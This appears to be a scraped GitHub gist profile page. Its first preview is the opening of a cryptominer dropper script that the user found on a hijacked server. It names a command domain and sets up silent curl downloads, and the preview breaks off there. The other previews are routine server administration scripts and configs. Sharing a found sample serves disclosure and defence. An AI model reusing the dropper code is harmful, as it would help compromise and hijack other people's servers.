Skip to content

Instantly share code, notes, and snippets.

View Bharat-B's full-sized avatar

Bharat B Bharat-B

  • Secunderabad,Andhra Pradesh, India.
View GitHub Profile
@Bharat-B
Bharat-B / miner-malware.sh
Created December 3, 2023 21:09
Found a script running on my server, that was hijacked and this script was left on it.
#!/bin/sh
domain="pw.pwndns.pw"
root=$(id -u)
ARCH=$(uname -m)
if which curl > /dev/null 2>&1; then
dl="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o"
read="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1"
elif which url > /dev/null 2>&1; then
dl="url --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o"
#!/bin/sh
# SERVER A ##
# Make sure IP forwarding is enabled.
echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf
sysctl -p
# Create a new tunnel via GRE protocol
ip tunnel add tunnel0 mode gre local SERVER_A_IP remote SERVER_B_IP ttl 255
# Add a private subnet to be used on the tunnel
ip addr add 192.168.0.1/30 dev tunnel0
{{ define "slack.default.title" }}
[ {{ .Status | toUpper }} ]
{{ end }}
{{ define "slack.default.message" }}
{{ range . }}
{{ if gt (len .Annotations.summary) 0 }}Alert Summary: {{ .Annotations.summary }} {{ end }}
{{ if gt (len .Annotations.runbook_url) 0 }}Alert Runbook: {{ .Annotations.runbook_url }} {{ end }}
Labels:
#!/bin/sh
# Grafana Repository and Installation commands
wget -q -O - https://packages.grafana.com/gpg.key | apt-key add -
add-apt-repository "deb https://packages.grafana.com/oss/deb stable main"
apt-get update
apt-get install grafana
systemctl enable grafana-server
systemctl start grafana-server
# The following package allows you to run commands like netstat, ifconfig etc.
@Bharat-B
Bharat-B / setup.sh
Created January 9, 2022 18:57
MySQL Master-Slave Replication setup
#!/bin/sh
# Should be run on the master
MASTER_IP=""
MASTER_SSH_PORT=""
MASTER_DATABASE=""
MASTER_BACKUP_PATH="/"
BACKUP_FILENAME="replica_backup.sql"
apt-get update
apt-get upgrade
apt install -y nginx
systemctl enable nginx
systemctl start nginx
apt-add-repository ppa:ondrej/php -y
systemctl enable php7.4-fpm
systemclt start php7.4-fpm
apt install -y php7.4 php7.4-{cli,gd,curl,mysql,ldap,zip,fileinfo,fpm,xml,mbstring,exif,pspell,imagick,bcmath}
apt install mariadb-server mariadb-client
@Bharat-B
Bharat-B / prox_gen.php
Created March 24, 2021 14:19
A virtualizor dependent php script to regenerate proxmox vm configs for kvm.
<?php
# Execution /usr/local/emps/bin/php /usr/local/virtualizor/prox_gen.php "server_id"
include_once 'scripts/inc.php';
$res = makequery("
SELECT
vps_name as conf,
disks.bus_driver as diskdriver,
@Bharat-B
Bharat-B / readydedis.com.conf
Last active March 4, 2024 18:02
nGINX rewrite rules for whmcs 8
server {
listen 80 default_server;
server_name readydedis.com www.readydedis.com;
return 301 https://readydedis.com$request_uri;
}
# HTTPS server
#
server {
listen 443;
@Bharat-B
Bharat-B / install.sh
Created September 14, 2020 17:22
Install.sh
#!/bin/bash
ECHO_PATH=/usr/bin/echo
TEE_PATH=/usr/bin/tee
YUM_PATH=/usr/bin/yum
CURL_PATH=/usr/bin/curl
TAR_PATH=/usr/bin/tar
WGET_PATH=/usr/bin/wget
INSTALL_LOG=./hypervisor-install.log
@Bharat-B
Bharat-B / whmcs.php
Last active May 19, 2019 14:34
WHMCS remote execution
<?php
class HypervisorWHMCS {
protected $action, $params = [], $config, $error, $output = "";
public function __construct($config) {
$this->config = $config;
}